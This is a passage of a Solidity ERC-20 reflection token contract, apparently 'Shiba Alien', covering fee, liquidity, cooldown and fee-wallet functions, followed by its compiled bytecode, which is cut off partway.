currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 10000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600b81526020017f536869626120416c69656e000000000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f53484942414c49454e0000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b505050678ac7230489e8000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60026009819055506008600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b602d4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960028461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660088461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a8a